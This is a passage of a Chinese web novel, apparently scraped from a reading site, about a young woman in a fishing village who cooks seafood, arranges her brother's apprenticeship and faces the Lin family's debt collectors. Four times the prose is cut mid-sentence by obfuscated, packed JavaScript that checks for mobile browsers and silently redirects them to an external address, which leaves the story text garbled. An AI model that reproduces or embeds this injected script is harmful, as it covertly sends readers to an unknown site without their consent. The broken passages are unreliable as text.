她用勺子舀起一点成品，蚝油淅淅沥沥地流淌下来，拉丝不断，这浓稠度可谓是恰到好处。 浅尝一口，咸甜相交的独特风味在舌尖绽放，咂咂嘴，海蛎的鲜美萦绕在齿间，回味无穷。 云楚沅从后院摘了把生菜，开始做今日的晚饭。 油热下蒜，焯过水的生菜入锅，勺取蚝油，沿锅边淋下，红棕色的浓稠酱汁宛若淌金泻玉，遇热晕开，渗透进翠绿的菜叶之中，化作醇厚鲜甜之味。 添酱油和水，用木铲轻搅，汤汁沸腾，再用淀粉水勾芡，使每一片生菜皆裹上浓稠酱汁。 出锅装盘，生菜特意用筷子一根根叠放，翠色欲滴，再淋上裹着蒜末的汤汁，色泽油亮。 云楚沅从院子里的水缸捞出一网兜大虾，准备用新熬好的蚝油做道油焖大虾。 灶房里的云楚清忍不住用筷子偷夹了一根菜叶，眯着眼细嚼慢咽。 “小馋猫，味道如何？”一进门的云楚沅就看到她陶醉的表情，忍俊不禁地调侃道。 “嘿嘿，阿姐的手艺自是不必说，我没想到青菜也能如此好吃。”云楚清用指尖擦去嘴角的酱汁，塞进嘴里。 “啧，别吃手指。”云楚沅拍开她的手，“手上不干净，以后饭前都要净手。” “我晓得了，阿姐。”云楚清缩了缩肩膀，跑到院子里去打水了。 新油在锅中轻晃，泛起层层波纹，云楚沅将壳硬肉实的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860561|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大虾逐一投入热油之中，木铲轻翻，淋上调好的酱汁，大火收汁，直至汤汁浓稠挂壳，蚝油的加入使其变得红亮。 “清儿，走，我们去接楚河去。”云楚沅站在灶房门口端着一碗油焖虾，朝着云楚清唤道。 “阿姐，这碗虾是给谁的？春香姐吗？” 云楚沅点了点她的鼻子，说：“只惦记着你春香姐，那阿汤哥不必答谢了吗？” 云楚清吐了吐舌头，羞赧道：“自是要谢的。” 云楚沅一手端着虾，一手牵着小妹，有意地走向村里小孩常常玩耍的海滩处。 离着老远，云楚沅就看到刘家三兄弟正在揪一位小女孩的头发，都快将人欺负哭了。 一股鲜香咸甜的酱香味随风飘了过去。 “哇，什么味道？好香啊！”刘二海大声嚷嚷着，鼻子到处嗅闻。 “是她手里的东西！”刘大海很快发现了走过来的云楚沅，带着两个弟弟围了过去。 “是大虾，我要吃！我要吃！”眼尖的刘三海兴奋地叫道，用手扯着云楚沅的衣裙，蹦跳着去抓她手里的碗。 云楚沅直接无视了他们，屁股一扭，将三个小屁孩甩开。 她厌恶地看了眼裙摆上的黑手印，这几个顽童当真是惹人厌烦。 刘三海一时没站稳，摔了个屁股墩，他愣了一下，随即嚎啕大哭起来，“哇，我要吃虾！我要吃虾！臭女人，你不给我，我就叫我娘打死你！” 云楚沅始终没给他一个眼神，反而笑意盈盈地给了旁边的小女孩一只虾，“吓坏了吧，给你吃。” 女孩怯怯地接了过去，小声道：“谢谢云姐姐。” 云楚沅帮她整理了一下发髻，笑着说：“乖，去别处玩吧。” 女孩腼腆一笑，转身跑走了。 “哎呦，哪个天杀的欺负我的宝贝儿子！”一阵嚎叫声从远处传来。 云楚沅闻声望去，痴肥臃肿的妇人一颠一颠地奔了过来，搂住地上的刘三海。 “娘，这个臭娘们欺负我！”刘三海指向云楚沅。 刘母怒目圆瞪，大喊大叫：“好你个云楚沅，你娘死了，轮到你和我们家作对了？呸，我告诉你，赶紧给我儿子磕头赔罪，不然我扒了你的皮！” 周围听到嚷嚷声的村民靠了过来，显然是来瞧热闹的。 云楚沅一脸懵懂地问：“三海，你倒说说我怎么欺负你了？” 刘三海一见有人为他撑腰，双手掐腰，趾高气昂道：“你不给我吃虾！” 云楚沅轻笑出声：“噗嗤，刘婶，你们家拮据到如此地步了吗？要叫儿子出来讨食？若当真如此，您和村里人说一声，大伙儿一人施舍你家一顿饭，也好叫你养的起三个儿子。” 村民们顿时捧腹大笑。 “哈哈哈，老刘家的，家里揭不开锅跟我说，我家臭鱼烂虾多的是。” “是呀，你自己吃的这么肥，不管儿子呀？他们三个不是你的宝贝疙瘩吗？” 村里和刘婶不对付的人，立马奚落道。 刘婶面色铁青地拽了小儿子一把，“吃吃吃，就知道吃！我是短了你吃的吗？你非要向外人讨？” 在众人的嘲笑声中，刘家人灰溜溜地走了。 8. 小弟拜师 云楚河跟在阿汤的身后，从一条木船上下来，两人正提着一大网兜的毛虾往篓子里倾倒。 “阿汤哥，我都听清儿说了，多谢你对他们两个的关照。”云楚沅走上前说道，“这是我自己做的油焖大虾，你拿回去尝尝。” 阿汤有些不知所措，他已经很久没和村里的女郎说过话了，“不……不用。” 云楚河瞧着小妹不停地朝他使眼色，就知道他们和刘家兄弟有过节这事，阿姐已经知道了。 他觑了一眼云楚沅的脸色，讨好地冲她笑笑。 这事不想叫阿姐知晓，就是怕她担忧，他们云家在小渔村势单力薄，还是不要轻易得罪人为好。 而且他也不会吃亏，刘家三个小胖子哪里是他的对手，和他们打架，他专往别人看不见的地方下手狠掐。 云楚沅对云楚河嬉皮笑脸的样子视若无睹，这小子就会卖乖讨巧，得给他摆点脸色瞧瞧。 楚河和楚清两兄妹要是有个好歹，她会愧对已逝的云家人的。 云楚河见云楚沅不理自己，晓得阿姐这是恼他了，他凑上去轻轻摇晃云楚沅的手腕，“阿姐，我错了。” “回去再跟你算账。”云楚沅低头瞪了他一眼，又挂上笑容看向阿汤。 “阿汤哥，这皮小子跟你出海没少给你麻烦，这碗虾你就收下吧。而且我还有别的事儿想要麻烦你呢，你要是不收下，我都不好意思开口。” 她话都说到这个份上了，阿汤只好接了过去。 “有……何事？” 阿汤有些意外，竟有人想请他帮忙，毕竟村民们都对他避之不及，他估摸着云家女郎是要拜托他照看楚河吧。 那日听到刘家小子对云楚河的辱骂，一下子就让他回想起儿时的遭遇，别人嘲讽他是天煞孤星，他忍无可忍便动手了，结果就被人家爹娘收拾了一顿。 自那时起，他学会了收敛锋芒，只因孤子是没有话语权的，没有人在意他是否受欺负，也不会有人为他出头。 云楚河让他动了恻隐之心，遂对他多有照拂，甚至教他打渔之道，私下里这小子还会称他一声师傅，不过他没有应。 拜师这等大事需长辈的准许，云楚河终归还有一位长姐，人家不一定待见他这孑然一身之人。 “阿汤哥，我家承包了村里的废鱼塘，恰巧你就住在附近，我想雇你帮我清理一下，你放心，银钱不会少的。” 废鱼塘位于靠近山脚的地方，阿汤的家在村尾，正好离得近。 云楚沅养殖计划的第一步自然是要将鱼塘收拾干净，废鱼塘的水干涸了，但底下还有许多淤泥和腐物，她这细胳膊细腿的，委实干不来这等粗活，倒不如直接雇人来干。 踏实肯干还又话少的阿汤哥显然是不二人选。 倘若找村里其他人，定要被问东问西，她还记着上次钱婶说的话，不少妇人盯着她呢，若是她们跑来打听搞养殖的事，云楚沅实在懒得应付。 阿汤略一思索便应下了，清理鱼塘不是难事，只是费些力气罢了，他用过晚膳也没事做，两三日就能帮她弄干净。 云楚沅再次道谢，带着两个孩子离去，云楚河的篓子里装了满满的毛虾，阿汤哥还想再给他提一篓，被云楚沅婉拒了。 “错哪了？” 云家小院里，云楚沅双手抱在胸前，严肃地询问站在墙角的人。 “我不该和人打架。”云楚河双臂贴在身侧，昂着头一本正经地说道。 “不对，你错在遇到麻烦只想着自己担着，不告诉家里人，还把我蒙在鼓里！”云楚沅气愤道，“我们是一家人，有什么事应当一起解决。” 云楚河嘴角动了动，反驳的话刚想说出口。 “你觉得自己长大了，长姐管不了你了是吗？”云楚沅故意沉下脸。 “没有，我不是这个意思！”云楚河攥紧手心，一脸倔强，“我是男子汉，不是乳臭未干的小毛孩，该轮到我来保护你和小妹了。” 面前的男孩如初生的牛犊一般无所畏惧，他嘴唇紧抿，眉头紧皱，直勾勾地与云楚沅对视着，眼神里满是坚定。 云楚沅一时沉默了下来，也许她不该小觑一个孩子的决心和责任心。 双亲逝世，令他快速成长，他比谁都通透，懂得别人话中的冷嘲热讽，也明白自己该做什么。 这几日，小弟的早出晚归，她都看在眼里，为了学本事他在背地里吃了不少苦，云楚沅注意到，他的手上已经磨出了茧子。 也许，此刻的他需要的不是批评，而是来自家人的认可。 云楚沅脸色缓和，轻轻搂住这半点大的孩子，柔声说道：“是阿姐不好，我说错话了，楚河是最懂事的孩子。” 掌心触到的瘦弱肩膀微微颤抖起来，云楚沅用手轻拍着他的后背，无声安抚着。 过了一会，哽咽的声音从怀里传来，“阿姐没错，让你担忧本就是我的不是。” 云楚沅哭笑不得地说：“好好好，我们都有错。楚河，阿姐理解你，只是我想告诉你一个道理，想要教训人，不是非要用拳头。” “阿姐的意思是？”云楚河抹了把脸，迟疑地看向她。 云楚沅意味深长道：“还记得舅母的事吗？她那般折辱我，我还不是忍了一时，谋后而定。” “她是我的长辈，天然就压我一头，倘若我与她大打出手，有理也变得没理。有时候示弱不是惧怕的表现，而是以退为进。”云楚沅提点了两句。 云楚河若有所思，阿姐说的不无道理，他动手打人只会逞一时之快，若是刘家人事后找上门来，阿姐这柔弱的身子哪能扛得住。 “阿姐，是我考虑不周了。”云楚河惭愧地低下了头。 云楚沅揉了揉他的脑袋，叮嘱道：“以后不可莽撞行事，俗话说得好，君子报仇，十年不晚。你想对付人可以另想他法，不要留下把柄，更不要将自己置于险地。” 云楚河郑重地点头：“阿姐，我记下了，以后对付小人就要用小人的阴招，以彼之道，还施彼身。” 云楚沅噎了一下，尴尬地笑笑，弟弟，干嘛说的这么难听，那是策略！策略好吗！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860562|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此时的云楚沅还不清楚，在耳濡目染下，她家天真的小弟以后会长成城府颇深的笑面虎，逢人便说，是他阿姐教诲的。 “对了阿姐，还有一事。我想拜阿汤哥为师，他要我先征得你的同意。”云楚河提起了另一桩事。 云楚沅颇感意外：“真的？你确定要拜阿汤为师吗？一日为师，终生为父。阿汤没有子嗣，以后说不准日后要你养老送终，你要考虑清楚。” “我想清楚了，阿汤哥对我倾囊相授，他虽是自学的捕捞，可丝毫不逊色于村里经验丰富的老手。” 云楚河并非一时兴起，他认真想过了，他们云家没有壮男丁，出了事也没人帮扶，不若认门干亲或拜个师傅，可以当做正儿八经的亲戚来往。 外冷内热、孤身一人的阿汤乃最佳人选，云楚河也不是成心算计人家，既要拜师，那必然是诚心诚意的，他以后会孝敬师傅的。 “既如此，那便依你，待阿汤为我清理完鱼塘后闲下来，我请他来我们家吃顿拜师宴，再请村长一起来做个见证。” 一晃两日过去。 云楚沅在灶间忙碌，手上动作不停，今日便是楚河行拜师礼的日子，她在准备丰盛的午膳。 海鲜大杂烩已经上桌，青菜和粉丝打底，铺上梭子蟹、大虾、花蛤等海鲜，用蒜蓉、酱油、蚝油、盐和糖调配灵魂酱汁，一锅炖煮起来省时省力。 晒干的虾皮派上了用处，虾皮煎豆腐和紫菜虾皮馄饨是即将登场的重头戏。 切成厚片的嫩豆腐裹上蛋液，沾满虾皮后小火慢煎。 薄薄的馄饨皮包入鲜肉馅，用手轻轻一捏，一只只小巧玲珑的馄饨便成型了。 锅中烧水，下入馄饨，不一会儿，它们便在水中翻腾着漂浮起来。 碗底放入干紫菜、干虾皮、酱油、蚝油、猪油、盐和葱花，一勺馄饨汤倒进去，所有调料皆化开，盛上小馄饨，就可以端出去了。 村长和阿汤已经坐在了桌边，楚河和楚清一个盛饭，一个取碗筷。 “二位久等了，咱们开吃吧。”云楚沅笑呵呵地招呼着客人动筷。 “楚沅啊，你的手艺是这个。”村长将所有菜尝了个遍，对着云楚沅竖起了大拇指。 早听闻云楚沅在县里卖吃食，可村长也想不到她做得这般好吃，简单的食材吃出了山珍海味的感觉。 村长心里欣慰，楚沅是个有本事的，云家也算是有出路了。 旁边的阿汤没说话，不停下筷的动作倒是能看出他对这顿饭也是很满意。 午膳过后，云楚河在村长的见证下给阿汤磕了个响头，云楚沅递上了两大桶鱼虾和一壶好酒。 他们渔民没那么多讲究，无需贵重的拜师礼，过得去便可。 “于汤，你和楚河既有这段师徒缘分，那便好生待他，这也算是半个儿子了。”村长语重心长道。 于汤点点头，将云楚河扶了起来，难得多说了两句，“楚河，我会待你视如己出，有困难尽管来找我。” 云楚沅心里头很高兴，小弟也算是多了一份倚仗。 9. 催债 鱼塘清理干净后，阿汤哥帮忙重新修缮了一番，将其用石料和土料分隔成四个区域，还在底部做了加固，避免池塘往外渗水。 浮萍、水草、藻类等水生植物，不仅能提供食物，还能改善水质，云楚沅把出海捕捞时抓到的鱼、虾、蟹、贝全都投入其中。 云楚沅将谷物、糟糠磨成细末，每日少量多次地投喂鱼虾们，楚河偶尔会抓些鱼虫、水蚤等活饵为它们加餐。 云楚河跟着阿汤出海了，云楚沅和小妹一起来鱼塘投喂饲料。 “阿姐，这条鱼模样真奇特。” 云楚清指着的是一条鮟鱇鱼，它长得奇丑无比，头顶挂着一个小灯笼。 鮟鱇鱼生活在深海，这次云楚沅出海远了些，意外捞到了一只，带回来让两个孩子见识见识。 “等楚河回来，我就把这鱼做了给你们吃。” “这么丑的鱼能好吃吗？”云楚清的脸上露出了嫌弃的表情。 “哼，既然你不喜欢，那阿姐就只做给楚河吃好了。”云楚沅慢条斯理道。 “啊，我不要，阿姐做什么都好吃！”云楚清冲着她撒娇。 云楚沅牵着小妹的手，有说有笑地走在回家的路上，隔着老远，就听见家门口传来一阵嘈杂声。 “开门呐！开门呐！你有钱修鱼塘，没钱还债吗？” 簇拥在云家门口的是林家人，他们家是小渔村的富户，为首之人是林家大儿媳钟兰花。 林家人丁兴旺，老太太总共生了五个儿子，各个都是打渔好手，他们家有两条大渔船，每回父子六人一同出海，都能赚笔大钱。 “兰花嫂子，你找我有什么事吗？”云楚沅快步走近，满脸疑惑地问道。 横眉冷竖的钟兰花咄咄逼人：“云楚沅，听说你卖吃食赚了不少钱，都有银子请人修船、修鱼塘了，怎么不见你还债呢？” 云楚沅这才明白林家人的来意，云家欠债的大头就是林家，足足欠了上百两银子，云楚沅手里不过刚攒下几十两银子，一时半会也还不清。 两道不怀好意的视线直直望向她，站在兰花嫂子身后的两名妇女拿眼斜着云楚沅。 “云楚沅，我可亲眼瞧见你的小摊子每日都有络绎不绝的人光顾。”林四嫂率先发难。 “村尾的阿汤给你修鱼塘不图钱图什么？莫非你二人有不可告人的关系？”林三嫂讥笑地打量着云楚沅。 林三嫂和林四嫂，一个混不吝的，一个好吃懒做，仗着家里不愁吃穿，整日不干活，和村里的长舌妇们聚在一起唠嗑，说东家长西家短，近日她们说得最多的闲话，就是和云家有关的事。 云楚沅恨不得撕了林三嫂的嘴，这婆娘不知道流言害人吗？子虚乌有的事，张口就来，这般恶意揣测，居心何在！ “几位嫂子，你们误会了，阿汤哥是我家楚河的师傅，帮我们清理鱼塘是看在徒弟的面子上，可不图什么东西。”云楚沅压下火气，好声好气地解释。 “再者，我卖海鲜面就赚几文钱，我一个女儿家不会捕捞，海鲜都要问别家买，这成本高了自然赚不了多少银钱。”云楚沅可怜兮兮地说道，“更何况我还有两个弟弟妹妹要养活，实在是手头紧。” 她每次出海都会避着村民们，篓子也盖得严严实实，就怕她的特殊体质被有心之人发现，心生歹念。 “林家是咱们乡里出了名的良善人家，我想着你们会体谅我的做法的。”云楚沅不动声色地奉承着林家人，兰花嫂子的脸色肉眼可见地缓和下来。 “切，说得好听，那你还谁家的钱了？”林三嫂不依不饶。 她可不像大嫂那般好糊弄，总有人想从她手里抠银子，这种鬼话她听多了，自然不会被打动。 林四嫂附和道：“就是呀，要是人人都这么说，岂不是都不用还钱了？这不是把我们林家当冤大头吗？” 兰花嫂子听着两个弟妹的话，觉得很有道理，不禁眼神怀疑地看向云楚沅。 云楚沅淡定开口：“我先还了小周大夫的欠钱，他家母亲重病了，我自然要先还上他的欠债。” 小周大夫和寡母相依为命，他腿脚不好，做不了重活，只能从他爹的旧书上学了点草药知识，为村民医治些小伤小病，靠微薄的诊费来度日。 “口说无凭，谁知道你说的是真是假？”林四嫂不服气地嘟囔。 “林四嫂，你要是不信，可以现在去问问小周大夫，我人就在这，也没法和他串通。”云楚沅镇定自若地说道。 她没扯谎，前几日云楚河感染小风寒，她去找周大夫拿了副药，顺便还了二两银子。 兰花嫂子见她如此笃定，便信了七八分，待她们一同前去跟小周大夫确认过后，兰花嫂子彻底放下了心。 “楚沅啊，是嫂子误会了，只要你不是想赖账，我自是愿意宽限你一段时日，你一个女子养家也不容易。” 兰花嫂子抚着云楚沅白皙的手，慷慨解囊，“这样吧，楚沅，你还欠其他人多少钱？嫂子先帮你还上，以后你专心做生意，有钱了再还我，我们林家不差这点银子。” 云楚沅柳眉一挑，哇哦，没想到还有意外收获？ 原本她还在纠结是先还欠债，还是先盘下一间铺子，这下好了，打瞌睡有人送枕头。 虱多不痒，债多不愁，既然林家不急着收债，那她手里的银子就可以用来开食肆了。 “兰花嫂子，怪不得旁人都夸你人美心善呢，你就是我的亲姊啊！妹妹有难，你是真帮啊！”云楚沅感动不已，热泪盈眶，用力紧握住钟兰花的手，上下摇晃。 钟兰花被她的甜言蜜语哄的找不着北，从荷包里掏出二十两银子，“妹子，你先拿着，不够再去我家问我要。” “兰花姐，你的大恩大德，妹妹无以为报呀，以后用得到我的地方，尽管开口。”云楚沅一点也不客气地收下了银子，拍着胸脯做出保证。 这承诺能不能兑现还是两说，但云楚沅摆出的态度叫钟兰花很是满意，“就冲你这句话，你这妹子我就认定了。走！上姐家吃饭去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860563|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 没两句话的功夫，云楚沅和钟兰花就像是相见恨晚一样，一口一个姊姊妹妹，亲热相称。 站在一旁的林三嫂和林四嫂傻眼了，就因为她们大嫂耳根子软，才被她俩撺掇着来找云楚沅要债，她们还想着收了债能分点银子花花呢。 这下好了，偷鸡不成蚀把米，银子没要到，还要搭进去二十两。 林三嫂颤颤巍巍地说：“嫂子，咱家的银子又不是大风刮来的，怎能如此轻易就借出去了？” 云楚沅眉眼带笑，轻启红唇：“林三嫂，前两日我还瞧见你带儿子去县里的湘香馆，点了一大桌子的招牌菜呢，想必是看不上这区区二十两。” 还没等钟兰花有什么反应，林四嫂就先怒不可遏，“什么？你哪来的钱去湘香馆？我都没去吃过！你真行，有好事的时候不叫我，诓大嫂来要债你倒是叫上我来了。” 林四嫂肺都要气炸了，林家小弟没娶妻，小妹尚待字闺中，所以他们还没分家，林家中馈由老太太和大嫂共同掌管。 她们其他房的媳妇想取银子，得要婆婆和大嫂的点头，二嫂是县城人，家境殷实，自然不在意这些，可她和老三家的就很憋屈，成日都得看婆婆和大嫂的脸色行事。 这次催债的主意是三嫂提起的，她顺势而为，没成想，老三家的心眼这么多，背地里胡吃海喝，办事时反而唆使她先出头。 “三嫂，你不仁就别怪我不义！”林四嫂气得脸色涨红，她对钟兰花说道：“大嫂，上次你丢的一两银子就是让老三家的偷走的。” 林三嫂脸色难看，她没想到四弟妹这么蠢，直接破罐子破摔将她的事抖落出来，既如此，也别怪她不客气了。 “四弟妹，说的像你没拿似的，你瞧见了也没告诉大嫂，反倒勒索了半两银子去，你与我半斤八两。” 林三嫂再次揭了她的老底，“上次厨房少的鸡腿，就是你偷吃的，还推到你女儿头上，当真是不要脸。” 两人宛如泼妇骂街一般，互相说起了对方的糗事。 钟兰花脸色难看，她没想到这两个弟妹如此不将她放在眼里，背后搞出这么多小动作，看来不给她们俩一个教训是不行了。 “行了，我看你们是日子过得太舒坦了，才会折腾出这么些幺蛾子。我会回家把这些事说与母亲听的，以后直至分家，你们两房就不必每月找我领银子了。”钟兰花一锤定音。 林三嫂和林四嫂像是被掐住脖子的鸭子，脸色灰败，骤然停止了叽叽喳喳的吵闹声。 林老太太平日里就很不满意这两个儿媳，经常挑她们的刺，林家儿子又非常孝顺，不会忤逆老娘，老太太不顺心了、数落儿媳，他们屁都不会放一个。 相反，钟兰花是林老太太亲自挑的大儿媳，还是她娘家的远方亲戚，婆媳关系那是相当好，钟兰花在林家算是说一不二。 “云妹子，对不住了，我还有家事要处理，先行一步了，改日再请你到家里做客。”钟兰花说完，提溜着两个弟妹的耳朵离开了。 10. 酱烧鮟鱇鱼 云楚沅用鱼塘搞养殖一事，经过林三嫂和林四嫂的大肆宣扬，搞得小渔村人尽皆知。 村民们纷纷前去围观，又碍于门神似的阿汤的冷脸，都不敢靠太近。 他们已经从林家人的口中得知，阿汤收了云楚河做徒弟，于汤这小子能一个人摸爬滚打地长大，可不是个善茬。 不少渔民都见过几年前阿汤在海上智斗鲛鲨的场景，印象深刻。 那时的阿汤宛如凶神恶煞的厉鬼，一边用双脚稳住木船，避免被鲛鲨掀翻，一边用鱼叉狠狠刺入鲛鲨的身躯，一人一鲨的激战惊心动魄。 最后，阿汤以满身的深可见骨的伤痕，换来了胜利，远处小心观望的同村人，见鲛鲨死了，才敢过去将重伤昏迷的阿汤救下。 自那时起，村里便没有人敢找阿汤麻烦，大家见了他都绕道走。 如今阿汤常挂在腰间的匕首，就是用当年杀死的那只鲛鲨的皮做成的刀鞘。 “师傅，这些鱼都收拾好了，我先回家了。” 云楚河甩了甩手上的血水，他每日跟着阿汤捕捞回来后，会帮着卸货，再学学宰杀活鱼的技巧。 用钝器敲击鱼头将其敲晕，再用刀锋逆向刮去鱼鳞，挖去鱼鳃，划开鱼肚去内脏时要避免弄破鱼胆。 学了几日后，他的刀工已经十分精湛，以后阿姐做海鲜时，他也能为她打下手了。 “楚河，这两条鱼你拿回去吧，叫你长姐给你做鱼汤补补。”阿汤挑了两条最大的黄花鱼，递给云楚河。 云楚河接过后，欢天喜地地跑走了，心想，这师傅拜得太值了！ “阿姐！阿姐，我回来啦！” 在灶房生火的云楚沅，老远就听见了自家小弟的大嗓门，她摇头失笑，这孩子总是这样风风火火的，也不知又碰上什么好事了。 “阿姐，瞧我带回了什么。”云楚河蹭的一下跨过厨房门槛，扬了扬手里提着的用草绳系起来的两条肥鱼。 “哟，这大黄花鱼是你捞来的？”云楚沅伸手接过鱼，掂量了一下，嘿，忒沉。 云楚河嘿嘿笑道：“是我和师傅一起捞的。” 云楚沅翻了个白眼：“少来了，就你这点小力气，顶多也就帮你师傅扯扯渔网。” 云楚河不服气地撸起袖子，大声说道：“阿姐，我胳膊上的肉可是紧实了许多。” “我瞧着也没二两肉，你有没有变壮我不知道，但你倒是黑了不少。”云楚沅调笑道。 “哼！”云楚河撅着嘴放下袖子，“师傅说要你给我补补身子呢，肯定是我平日里吃的不够多。” 他回忆起阿姐的好厨艺，殷勤地开口：“阿姐，今日晚膳做什么好吃的？我要多吃两碗。” 云楚沅端起桌上的木盆叫他朝里面看。 云楚河好奇地探头，瞧清后又吓得后退两步，“这是什么怪物！” “小弟，你不是扬言要吃两大碗吗？见了它的真容，还有胃口吗？”云楚沅促狭一笑。 云楚河脸色纠结，最终还是决定选择相信阿姐的手艺，“我要吃！不过这鱼的脑袋上是什么东西？”他用手拨了拨鮟鱇鱼头上的小灯笼。 “这个小灯笼能发光，是鮟鱇鱼用来吸引海里的小鱼的，引诱它们上当，再吃掉它们。”云楚沅把鱼放置到案板上，准备处理它。 云楚河自告奋勇：“阿姐，让我来处理这条丑鱼。” “把它的牙齿剪掉，清除内脏时留下鱼肝和鱼肚，这两样是精华。”云楚沅在一旁指导。 面色严肃的云楚河仿佛要完成一件大事，他磨刀霍霍，剪开鱼皮，开膛破肚，剔除内脏，手上动作一气呵成，看得云楚沅眼花撩乱。 “不错嘛，小弟学有所成呀。” 云楚河一脸骄傲地仰起头，“阿姐，以后你做鱼，我来帮你杀。” “好，你先出去和清儿玩一会吧，阿姐给你们做酱烧鮟鱇鱼，保准你吃了香到吞舌头。” 云楚沅将鱼肉切成块，加姜片焯水去腥，冷水将其冲洗沥干。 待锅中的油温升高，云楚沅将剁好的鱼块小心翼翼地放入锅中。鱼肉与热油碰撞，发出“嗞啦滋啦”的声响，鱼身渐渐变成金黄，散发出诱人的香味。 这时，云楚沅将提前备好的葱段、姜片、蒜瓣倒入锅中，让它们辛辣的气味在热油中释放出来，和鱼肉的鲜香交织在一起，发生奇妙的反应。 云楚沅舀两勺黄豆酱放入陶碗中，加入酱油和豉汁用来增鲜上色，再添少许黄酒去腥，把所有醇厚的调味料搅和均匀，缓缓倒入锅中。 刹那间，一股酱香弥漫开来，浓郁的汤汁包裹着鮟鱇鱼，仿佛为鱼肉块披上了一层深色外衣。 小火慢炖，让鮟鱇鱼充分吸收酱汁的浓郁味道，使每一丝鱼肉都浸透进汤汁。在此期间，云楚沅会不停地翻动鱼块，确保其受热均匀，彻底入味。 随着时间的流逝，锅中的汤汁渐渐变得浓稠，紧紧地吸附在鱼肉上，透出油亮诱人的光泽。临出锅前，撒上一把翠绿的葱花点缀，为这道美味佳肴收个尾。 “小弟，小妹，开饭了！” 灶房传出一道嗓音轻柔的吆喝声，云楚清赶紧收起针线，云楚河一把丢开劈柴的斧头，两人动作整齐划一地奔向水缸前，打水洗手。 “哟，你们两个还挺自觉。”走出来的云楚沅瞧见两人乖乖听话，严格遵循饭前洗手的规矩，心里十分欣慰。 穿越到这个小渔村，云楚沅觉得最幸运的事，莫过于多了两个懂事贴心的弟弟妹妹。 她在现代时是家里最小的孩子，向来是被照顾的那个，鲜少有需要她照顾别人的时候，如今也算是体验了一把当家做主的感觉。 想到穿越前的家庭，云楚沅情绪有些失落，这段时日的忙碌，让她刻意回避了一个问题。 她在现代的身体应该是一命呜呼，老天眷顾她，让她有了重活一世的机会，只不过怕是要让家人伤心难过了。 唉，希望父母一切安康，只能靠哥哥姐姐们替她尽孝心了。 “阿姐，你怎么了？”云楚河正等着阿姐先动筷，一下子注意到长姐不太对劲，仿佛有什么伤心事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860564|175998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云楚沅勉强笑了笑：“没什么，刚才有沙子吹进眼里了，快吃吧。” 云楚河不明所以地挠了挠头，咱们家不是离海滩有段距离吗？今儿个也没有大风，沙子都能吹到这儿来了吗？ 想不出所以然，他的心思又放到桌上的吃食上了。 这道酱烧鮟鱇鱼，色泽红亮，酱香扑鼻。 云楚河夹起一块鱼肉放入口中，细细品尝，鮟鱇鱼的肉紧实而不柴，入口即化，酱汁的浓郁与鱼肉的鲜甜巧妙融合，仿佛在舌尖上放了一场盛大的味觉烟花。 大海的馈赠与绝佳的手艺完美结合，在这一口之中达到了极致。 “这鮟鱇鱼长得丑，味道却很不错。”云楚清吃得欢快，已然对它的外貌释怀了。 云楚河赞同道：“人不可貌相，鱼也是。” 云楚沅对他们俩这副有奶就是娘的样子忍俊不禁，不是他们嫌弃的时候了。 “鮟鱇鱼的鱼肚和鱼肝也很好吃，你们尝尝。”云楚沅给他们一人夹了一块，鱼肚有嚼劲，鱼肝细腻鲜美，这两样东西的营养价值也很高。 “楚河，你不是想补一补吗？多吃些鱼肚和鱼肝。” 云楚河一听，赶紧多夹了两块，他想长成阿汤师傅那样，有一身黝黑的腱子肉，看起来就身强体壮的。 用过晚饭后，云楚清回到屋里绣起了手帕，云楚河一溜烟跑出了家门，不知干什么去了。 云楚沅闲来无事，决定将那两条杀好的大黄花鱼腌起来，毕竟一时半会吃不完，放坏了就不好了。 黄花鱼的鱼身和腹腔都涂抹上粗盐，肉厚的鱼背处需要充分覆盖，将其悬挂于通风的阴凉处，晾个两三天就差不多能腌好。 晚间入睡前，云楚沅坐在桌前，点着蜡烛，仔细数着存放在瓦罐里的银子，总共五十二两，想要盘下县城里的一间店铺，绰绰有余。 如今，他们家的欠债都在林家身上，共计一百五十两，待开了食肆之后，她有信心能尽快还上。 